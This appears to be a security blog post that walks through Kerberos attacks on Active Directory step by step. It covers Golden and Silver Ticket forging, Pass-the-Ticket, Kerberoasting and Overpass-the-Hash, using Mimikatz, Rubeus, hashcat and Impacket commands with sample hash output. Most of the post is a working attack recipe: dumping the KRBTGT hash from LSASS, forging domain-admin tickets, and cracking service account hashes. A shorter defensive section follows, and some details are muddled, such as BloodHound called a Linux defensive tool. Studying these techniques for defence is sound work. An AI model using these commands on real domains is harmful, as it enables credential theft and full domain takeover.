Listen to this Post
Introduction:
Kerberos authentication is the backbone of Active Directory (AD) security, but misconfigurations and privileged access expose devastating attack vectors. Mimikatz, a powerful post-exploitation tool, enables attackers to extract credentials, forge Kerberos tickets, and move laterally undetected. Understanding these techniques—Golden Ticket, Silver Ticket, Kerberoasting, and Pass-the-Ticket—is essential for red teams and defenders to harden AD environments.
Learning Objectives:
- Understand how Mimikatz extracts Kerberos tickets and the KRBTGT hash from memory.
- Execute Golden Ticket, Silver Ticket, Kerberoasting, and Overpass-the-Hash attacks step by step.
- Implement detection and mitigation strategies to block Kerberos-based privilege escalation.
You Should Know:
- Extracting the KRBTGT Hash for Golden Ticket Attacks
Golden Ticket attacks grant complete domain control by forging a TGT using the KRBTGT account’s hash. This hash is extracted from a Domain Controller (DC) with administrative privileges.
Step‑by‑step guide (Windows, elevated Mimikatz):
1. Run Mimikatz as Administrator.
2. Elevate to Debug mode:
`privilege::debug`
3. Extract the KRBTGT hash from LSASS memory:
`lsadump::lsa /inject /name:krbtgt`
- Note the NTLM hash and Security Identifier (SID) of the domain (e.g.,
S-1-5-21-...). The SID excludes the final RID (usually -502 for KRBTGT).
Command example output:
Domain : LAB.LOCAL (S-1-5-21-123456789-1234567890-123456789) RID : 000001f6 (502) User : krbtgt NTLM : 5d7c6a9e1f3b8c2d4a6f9e1b3c5d7a8f
How to use it:
Once you have the KRBTGT NTLM hash and domain SID, you can forge a Golden Ticket for any user (including non‑existent ones) with arbitrary group memberships (e.g., Domain Admins). On a non‑DC machine, use Mimikatz:
`kerberos::golden /domain:LAB.LOCAL /sid:S-1-5-21-… /krbtgt:5d7c6a… /user:EvilAdmin /id:500 /ptt`
The `/ptt` injects the ticket into current session. Then access any DC resource (e.g., dir \\DC01\C$).
2. Pass‑the‑Ticket (PTT) – Abusing Existing Kerberos Tickets
PTT allows an attacker to reuse a valid Kerberos ticket extracted from one machine to authenticate to services on another without knowing the plaintext password.
Step‑by‑step guide:
- Dump all Kerberos tickets from memory (requires debug privileges):
`sekurlsa::tickets /export`
- Tickets are saved as `.kirbi` files in the Mimikatz folder. Locate a TGT (service
krbtgt) or a TGS for a target service.
3. Re‑inject a ticket into the current session:
`kerberos::ptt [path_to_ticket.kirbi]`
- Verify with `klist` to see the injected ticket.
Linux alternative (using Impacket):
On a Linux attacker machine, convert `.kirbi` to `.ccache` using kirbi2ccache.py, then set environment variable:
`export KRB5CCNAME=/path/to/ticket.ccache`
Then use `psexec.py` or `wmiexec.py` with `-k -no-pass` to authenticate.
Use case: Extract a TGS for a file server (CIFS service) from a compromised user’s session, then inject it on your own machine to access \\FILESRV\Share. No password or hash required.
3. Kerberoasting – Cracking Service Account Hashes
Kerberoasting targets service accounts with SPNs (Service Principal Names). Any domain user can request a TGS for any SPN, and the TGS is encrypted with the service account’s NTLM hash. Offline cracking reveals the plaintext password.
Step‑by‑step guide (using Mimikatz + Rubeus):
- On a Windows domain‑joined machine (any user), request a TGS for a target SPN using Rubeus:
`Rubeus.exe kerberoast /nowrap`
- The output is a hashcat‑compatible hash (mode 13100). Save it to a file.
3. Crack offline with hashcat and a wordlist:
`hashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt`
- Without Rubeus – Mimikatz alone can also kerberoast:
`kerberos::ask /target:HTTP/SRVWEB.lab.local /user:anyuser`
5. Export the ticket and extract the hash:
`kerberos::list /export` then convert with `kirbi2john.py`.
Mitigation in action (defender view):
Use long, random passwords for service accounts (25+ characters) or group‑managed service accounts (gMSA) that auto‑rotate passwords. Monitor Event ID 4769 for TGS requests with unusual encryption types (e.g., RC4).
- Silver Ticket – Forging TGS for Service‑Level Access
A Silver Ticket forges a TGS for a specific service (e.g., CIFS, HTTP, LDAP) without contacting the DC. It requires the service account’s NTLM hash (or AES key), not the KRBTGT hash. This allows access to a single service, often evading DC logs.
Step‑by‑step guide:
- Obtain the NTLM hash of the target service account (e.g., the computer account of a file server or a MSSQL service account).
From a compromised admin session on the DC: `lsadump::lsa /inject /name:MSSQL_SVC`
2. On any machine (not domain‑joined works), run Mimikatz:
`kerberos::golden /domain:LAB.LOCAL /sid:S-1-5-21-… /target:SQLSRV.lab.local /service:MSSQLSvc /rc4:9e8f7d6c… /user:FakeUser /ptt`
- Access the service – e.g., connect to MSSQL using `Invoke-SqlCmd -ServerInstance SQLSRV` with integrated authentication.
Why it matters:
Silver Tickets are harder to detect than Golden Tickets because they do not request a TGT from the DC. Only the target service logs the anomalous access. For file servers (CIFS service), you can map a drive: net use Z: \\FILESRV\share.
5. Overpass‑the‑Hash (Pass‑the‑Key) – Turning Hashes into Tickets
Overpass‑the‑Hash uses a user’s NTLM hash (or AES key) to request a TGT from the DC, effectively creating a new Kerberos session without knowing the plaintext password.
Step‑by‑step guide (Windows, Mimikatz):
- After obtaining a user’s NTLM hash (e.g., from LSASS or SAM), use:
`sekurlsa::pth /user:jdoe /domain:LAB.LOCAL /ntlm:5d7c6a9e1f3b8c2d4a6f9e1b3c5d7a8f /run:cmd.exe`
- A new command prompt opens with the impersonated user’s Kerberos ticket.
- Use `klist` to verify the TGT. Now you can run `dir \\DC01\SYSVOL` or PowerShell commands as that user.
Linux equivalent (impacket – getTGT):
`getTGT.py -hashes :5d7c6a9e… LAB.LOCAL/jdoe`
Then use the generated `.ccache` with other impacket tools like `secretsdump.py` with -k.
Key difference from Pass‑the‑Hash (PtH):
Overpass‑the‑hash creates a full Kerberos ticket, enabling access to services that do not accept NTLM authentication, and bypasses restrictions where NTLM is disabled.
- Detection & Hardening Against Kerberos Attacks (Blue Team Guide)
To defend against the above techniques, implement the following mitigations with verification commands.
Step‑by‑step hardening:
- Monitor for suspicious TGT requests – Enable Kerberos service ticket operations auditing (Event ID 4769). Look for unusual RC4 encryption (should be AES256 for modern systems).
PowerShell command:
`auditpol /set /subcategory:”Kerberos Service Ticket Operations” /success:enable /failure:enable`
- Protect KRBTGT hash – Rotate the KRBTGT password twice (to invalidate existing Golden Tickets):
`Get-ADUser krbtgt -Properties ntSecurityDescriptor` then reset password twice using:
`Set-ADAccountPassword krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText “NewP@ssw0rd” -Force)`
- Restrict who can debug LSASS – Add privileged users to “Debug Programs” via Secpol.msc (SeDebugPrivilege). Block Mimikatz loading: enable Credential Guard (Windows Defender Credential Guard) to isolate LSASS.
- Deploy Protected Users group – Domain members of “Protected Users” cannot use RC4, NTLM, or delegation, mitigating Overpass‑the‑Hash and Kerberoasting.
`Add-ADGroupMember “Protected Users” -Members jdoe`
- Detect Golden Ticket usage – Monitor for unexpected user SIDs (e.g., 500 or 519) with anomalous ticket lifetimes (non‑default 10 hours). Use Event 4624 and 4768 correlation.
Linux defensive tool: `bloodhound` and `sharpHound` can map Kerberoastable accounts. Use `Rubeus.exe monitor /interval:5` to detect suspicious ticket requests in real time.
What Undercode Say:
- Key Takeaway 1: Golden and Silver Tickets grant persistent, stealthy domain access; rotating KRBTGT twice and enabling Credential Guard are the most effective countermeasures.
- Key Takeaway 2: Kerberoasting remains widely successful due to weak service account passwords – moving to gMSA or LAPS for service accounts eliminates this vector.
Mimikatz transforms Kerberos from a trust fabric into an attacker’s weapon. The root cause is excessive privileges: any process with Debug (SeDebugPrivilege) can read LSASS memory. Modern EDR solutions detect Mimikatz by its unique DLL injection patterns, but attackers now use in‑memory only versions (e.g., Invoke‑Mimikatz). Defenders must shift to behavior‑based analytics – abnormal TGS request volume, RC4 usage, and odd ticket lifetimes. Moreover, Azure AD hybrid environments inherit similar Kerberos weaknesses via AD Connect. The future is passwordless authentication (Windows Hello for Business, FIDO2) which renders these hash‑based attacks obsolete. However, legacy systems will continue to be exploited – expect Golden Ticket variations to survive until 2030 in on‑prem AD.
Prediction:
As organizations migrate to the cloud, Kerberos attacks will shift to hybrid identity scenarios. Attackers will target cloud‑synchronized service accounts and abuse cross‑tenant trust relationships. Microsoft is investing in Azure AD Kerberos (Cloud Kerberos Trust), but misconfigurations will create new Golden Ticket equivalents. Meanwhile, open‑source tools (e.g., `pykek` for MS14‑068) are being adapted for newer Windows versions. Over the next 18 months, expect ransomware groups to combine Golden Ticket persistence with SMB lateral movement, making domain rotation and offline credential hygiene the top priority for SOC teams.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mimikatz For – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
